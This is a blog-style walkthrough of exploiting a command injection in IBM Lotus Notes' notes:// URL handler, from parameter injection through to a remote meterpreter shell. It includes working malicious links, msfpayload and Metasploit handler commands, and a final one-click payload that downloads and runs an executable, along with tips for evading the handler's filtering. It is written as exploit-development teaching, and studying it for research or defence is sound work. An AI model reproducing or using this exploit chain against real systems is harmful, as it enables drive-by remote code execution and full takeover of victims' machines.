Background
On the 22nd of August,
Moritz Jodeit released an advisory through the Zero Day Initiative about a
command injection vulnerability in IBM Lotus Notes.
The original advisory
can be found at http://www.zerodayinitiative.com/advisories/ZDI-12-154/.
In the following blog
post, I will go through the steps I took to get more information about this
vulnerability and demonstrate how I was able to exploit this vulnerability into
giving me a remote meterpreter shell.
Details
To start investigating
this vulnerability, we have to install a copy of Lotus Notes. I installed a
trial version of 8.0.2, but any vulnerable version should do.
As a next step we have
to check out the protocol handlers that are installed by Lotus Notes, in
particular the “notes://” protocol handler that is mentioned in the advisory.
To achieve this, we
fire up the registry editor in windows (Start-> run -> regedit). To
register a protocol handler in windows, an application has to write to the
“HKEY_CLASSES_ROOT” key. When we browse
this key, we find a “Notes” entry. In one of the subkeys we find the executable
and the arguments that are called when the URL handler gets invoked.
Here we see that the
executable “C:\Program Files\IBM\Lotus\notes.exe” is run when the URL handler
gets called. The “-defini” parameter is passed to the program, as well as the
user supplied input, which is referenced by the “%1” variable. For example, notes://Seanpwnani
will result in the following system call:
“C:\Program Files\lotus\notes.exe
–defini notes://Seanpwnani”.
The advisory states
that besides these two parameters, it is possible to inject additional
parameters in the function call to notes.exe.
In order to get a
clear view of how the URL handler passes the commands to the executable, we
could use a tool like Procmon and look at how the process is being called.
Another trick we can use is to replace the notes.exe executable with one that
simply outputs the parameters that are passed to it.
The following C source
code will compile a small program that prints out the parameters that are
passed to it.
#include <windows.h>
#include <winsock.h>
#include <stdio.h>
int main( int argc, char **argv)
{
unsigned int i;
for( i=0;i < argc; i++)
{
printf("%s\n", argv[i]);
}
getchar();
return 0;
}
|
Now that we have the
original notes.exe file replaced by our own executable file, we can create a
small HTML file to test the
vulnerability. The most logical test case to try for this scenario, is to
insert a space character and see if we can force the URL handler into parsing
it as a new parameter to pass on to the program.
<html>
<a href='notes://Sean1 Sean2 Sean3'>click here</a>
</html>
|
From the output of our executable file, we can conclude that is sufficient to insert a space in our data in order to create new parameters for the call to notes.exe. The advisory indicates that our next step would be to inject the -RPARAMS parameter, and that this would launch rcplauncher.exe.
Again, we can test
this with our executable file. This time we restore the original notes.exe
file, and we replace the rcplauncher.exe process with our executable. After a
search for “rcplauncher.exe”, we can find its full path at “C:\Program Files\IBM\Lotus\Notes\framework\rcp”.
We update the HTML
file to include the –RPARAMS and java –vm parameters discussed in the advisory.
<html>
<a href='notes://Sean1 -RPARAMS java -vm Sean2 Sean3'>click
here</a>
</html>
|
From the screenshot
above we can conclude that notes.exe does execute the rcplauncher.exe process
and that we can also supply parameters to this process call, by inserting
spaces just as before. As a next step, we
restore the original rcplauncher.exe file, and try to determine how we can get
code execution through the java –vm parameters. As a first attempt, we just
supply a path to an executable.
<html>
<a href='notes://Sean1 -RPARAMS java -vm
c:\windows\system32\calc.exe'>click here</a>
</html>
|
We receive the
following error message:
It seems that the
process runs a check to see if the executable exists, and in our case it does
not exist. We also notice a trailing “/” in the error message. This is an
indication that we got the syntax of some parameter wrong. When we do a quick internet
search, we can see what kind of syntax the URL handler expects:
We can now take that
into account for our next test, and try the following HTML code.
<html>
<a href='notes://Sean1/pwnani -RPARAMS java -vm
c:\windows\system32\calc.exe'>click here</a>
</html>
|
This time, we are
greeted by a calculator window, so we know the syntax is right and we can
execute commands on the system.
The next step in
exploitation is to pass an argument to the command we are invoking. This is
crucial because an attacker can do very little by executing a command without
command line arguments. This type of exploit could however be used by an
attacker on the same network as the victim. The attacker could put an
executable in a shared folder and then execute it through the exploit code. But our goal should be to create an exploit
that works over the internet as well.
Our first bet to pass
arguments to our command is to just append them to our command. When we do this
we get a very large popup with an error message.
<html>
<a href=’notes://Sean1/pwnani -RPARAMS java -vm
c:\windows\system32\cmd.exe /c calc.exe’>click here</a>
</html>
|
This should come as
no surprise, earlier when we added the “/” to our process name, we also
received an error page, because rpclauncher checks if the executable exists on
the system. However, now we get a different error message, one with a lot of
references to eclipse.exe.
When searching in
the lotus notes installation directory, we do find an eclipse.exe process. On
my system it is at
“C:\Program
Files\IBM\Lotus\Notes\framework\rcp\eclipse\plugins\com.ibm.rcp.base_6.1.2.200808010926\win32\x86\eclipse.exe”.
Next, we replace
this executable with our own to print out the command line arguments and run the
previous test case again.
This confirms that
the eclipse.exe process does get called. So far the call hierarchy is:
Protocol handler
=> notes.exe => rcplauncher.exe => eclipse.exe
What is very
interesting to notice is the “-vmargs” parameter that appears a couple of lines
under the “-vm” parameter. When we do a quick internet search, we can find some
more information on this.
This seems to solve
our problem of passing command line arguments to our command we execute. So
let’s update our test file again.
<html>
<a href=’notes://Sean1/pwnani -RPARAMS java -vm
c:\windows\system32\cmd.exe –vmargs /c calc.exe’>click here</a>
</html>
|
This time we see the
calculator window again so we know we can successfully call a remote executable
file and pass arguments to it.
Getting a remote meterpreter shell
The next step in
our exploitation adventure is to get a meterpreter shell on the remote system.
There are a couple of ways we could do this, but the best way is to write to a
vbs script file and then execute it. More information about this can be found
on this page:
As a first step we
need to create a meterpreter vbs script that we can use in our exploit. For
this example we will create a reverse meterpreter shell that will connect back
to localhost on port 4444.
C:\metasploit4\msf3>ruby msfpayload
windows/meterpreter/reverse_tcp LHOST=127.0.0.1 RPORT=4444 R | ruby msfencode
-t vbs -o revshell.vbs
|
Now that we have
our meterpreter vbs file, we can set up a listener in metasploit with the
following commands:
use
exploit/multi/handler
set PAYLOAD windows/meterpeter/reverse_tcp set LHOST 127.0.0.1 set LPORT 4444
exploit
|
When we run the vbs
script we created earlier, we get a meterpreter session in metasploit,
confirming that our setup is working.
We now start a web
server on localhost ( I used HFS - http://www.rejetto.com/hfs/) and host the vbs file on it. Then we create the following test cast
that will attempt to download and execute the vbs script.
<html><a href='notes://SEAN/pwnani -RPARAMS
java -vm c:\windows\system32\cmd.exe -vmargs cmd /q /c echo Set
x=CreateObject(Microsoft.XMLHTTP) >v.vbs&echo x.Open
"GET","http://127.0.0.1/a.vbs", False
>>v.vbs&echo x.Send >>v.vbs&echo Execute x.responseText
>>v.vbs&start v.vbs'>click here</a></html>
|
This produces the
following error message:
When we take a look
at the v.vbs file that was created on the desktop by our exploit, we see the
following:
It appears that
somewhere in the process, our quote characters were stripped out. Unfortunately,
in vbscript we cannot use single quotes for strings, as single quotes are used
for comments.
This causes us to
rethink our approach. Luckily for us, we can use single quotes in JavaScript,
so our next attempt should be to port everything to JavaScript.
When we use the “–t
vbs” option for msfpayload, it creates a vbscript that will write a meterpreter
executable file and execute it. When we use the “-t js_le” option, it will just
output an unescaped javascript string of the raw payload in little endian.
So this means we need to do some extra coding to get everything working in JavaScript. Instead of downloading
and executing the JavaScript payload, we will just download and execute a
meterpreter executable using JavaScript.
We can get some
inspiration from other exploits (http://www.securityfocus.com/bid/10514/exploit) and then come up with the following code:
<html><a
href="notes://SEAN1/pwnani -RPARAMS java -vm c:\windows\system32\cmd.exe
-vmargs /q /s /c echo var x=new
ActiveXObject('Microsoft.XMLHTTP');x.open('GET','http://127.0.0.1/meterpreter.exe',
false);x.send();var s=new
ActiveXObject('ADODB.Stream');s.Mode=3;s.Type=1;s.Open();s.Write(x.responseBody);s.SaveToFile('C:\\m.exe',2);var
w=new ActiveXObject('wscript.shell');w.Run('C:\\m.exe'); > r.js& start
cscript r.js& REM">click here!!!</a></html>
|
One very important
thing to note here is that the = sign is also filtered out when it is
surrounded by spaces. This can easily be fixed by not putting any spaces around
it.
Another crucial
part is the “& REM” at the end of our exploit string. A lot of parameters
are passed to the eclipse process, the “& REM” will cause the command line
to comment out the stuff that is appended to the end of our exploit string. If
we do not include this in the exploit, the exploit will not work.
Now that all the
pieces are in places, we finally get greeted by a nice meterpreter shell in our
metasploit console.